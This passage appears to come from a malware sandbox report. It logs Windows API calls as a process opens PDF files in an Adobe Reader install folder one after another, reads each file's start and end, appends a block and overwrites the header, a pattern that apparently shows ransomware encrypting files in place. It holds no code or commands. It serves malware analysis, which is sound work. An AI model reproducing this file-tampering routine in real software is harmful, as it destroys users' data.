lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x106d4 [0033.975] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.975] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.975] ReleaseMutex (hMutex=0x128) returned 1 [0033.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0033.975] ReadFile (in: hFile=0x184, lpBuffer=0x1dece18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.006] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xf6d4 [0034.006] ReadFile (in: hFile=0x184, lpBuffer=0x1dece18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.013] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xf6d4 [0034.013] WriteFile (in: hFile=0x184, lpBuffer=0x1deee78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deee78*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.014] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0034.014] WriteFile (in: hFile=0x184, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.015] CloseHandle (hObject=0x184) returned 1 [0034.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0034.016] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0034.016] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x16097 [0034.016] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0034.016] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.016] ReleaseMutex (hMutex=0x128) returned 1 [0034.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.016] ReadFile (in: hFile=0x184, lpBuffer=0x25c5bd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c5bd8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.083] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x15097 [0034.083] ReadFile (in: hFile=0x184, lpBuffer=0x1deee78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1deee78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.331] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x15097 [0034.332] WriteFile (in: hFile=0x184, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.332] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0034.332] WriteFile (in: hFile=0x184, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.332] CloseHandle (hObject=0x184) returned 1 [0034.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0034.334] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0034.334] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x10956 [0034.334] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0034.334] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.334] ReleaseMutex (hMutex=0x128) returned 1 [0034.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.334] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.387] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xf956 [0034.387] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.400] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xf956 [0034.401] WriteFile (in: hFile=0x184, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.401] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0034.401] WriteFile (in: hFile=0x184, lpBuffer=0x280ac88*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x280ac88*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.401] CloseHandle (hObject=0x184) returned 1 [0034.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0034.402] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0034.402] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x161fc [0034.402] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0034.402] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.403] ReleaseMutex (hMutex=0x128) returned 1 [0034.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.403] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.411] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x151fc [0034.411] ReadFile (in: hFile=0x184, lpBuffer=0x2809c58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2809c58*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.428] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x151fc [0034.429] WriteFile (in: hFile=0x184, lpBuffer=0x280e3b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.429] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0034.429] WriteFile (in: hFile=0x184, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.429] CloseHandle (hObject=0x184) returned 1 [0034.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0034.432] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0034.432] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x197f2 [0034.432] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0034.432] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.432] ReleaseMutex (hMutex=0x128) returned 1 [0034.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.432] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.491] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x187f2 [0034.491] ReadFile (in: hFile=0x184, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.005] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x187f2 [0035.005] WriteFile (in: hFile=0x184, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.006] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.006] WriteFile (in: hFile=0x184, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.006] CloseHandle (hObject=0x184) returned 1 [0035.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.008] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.008] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xaf90 [0035.008] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.008] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.008] ReleaseMutex (hMutex=0x128) returned 1 [0035.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0035.008] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.011] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9f90 [0035.011] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.011] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9f90 [0035.011] WriteFile (in: hFile=0x184, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.012] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.012] WriteFile (in: hFile=0x184, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.012] CloseHandle (hObject=0x184) returned 1 [0035.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.014] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.014] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x5274b [0035.014] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.014] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.014] ReleaseMutex (hMutex=0x128) returned 1 [0035.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6314c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.014] ReadFile (in: hFile=0x184, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0035.016] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5174b [0035.016] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.018] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5174b [0035.019] WriteFile (in: hFile=0x184, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.019] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.019] WriteFile (in: hFile=0x184, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0035.019] CloseHandle (hObject=0x184) returned 1 [0035.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.025] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.025] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x9f16 [0035.025] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.025] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.025] ReleaseMutex (hMutex=0x128) returned 1 [0035.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.025] ReadFile (in: hFile=0x184, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.027] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8f16 [0035.028] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.028] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8f16 [0035.028] WriteFile (in: hFile=0x184, lpBuffer=0x2772488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772488*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.029] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.029] WriteFile (in: hFile=0x184, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.029] CloseHandle (hObject=0x184) returned 1 [0035.030] CreateFileW (lpFileName="C:\\Program Files 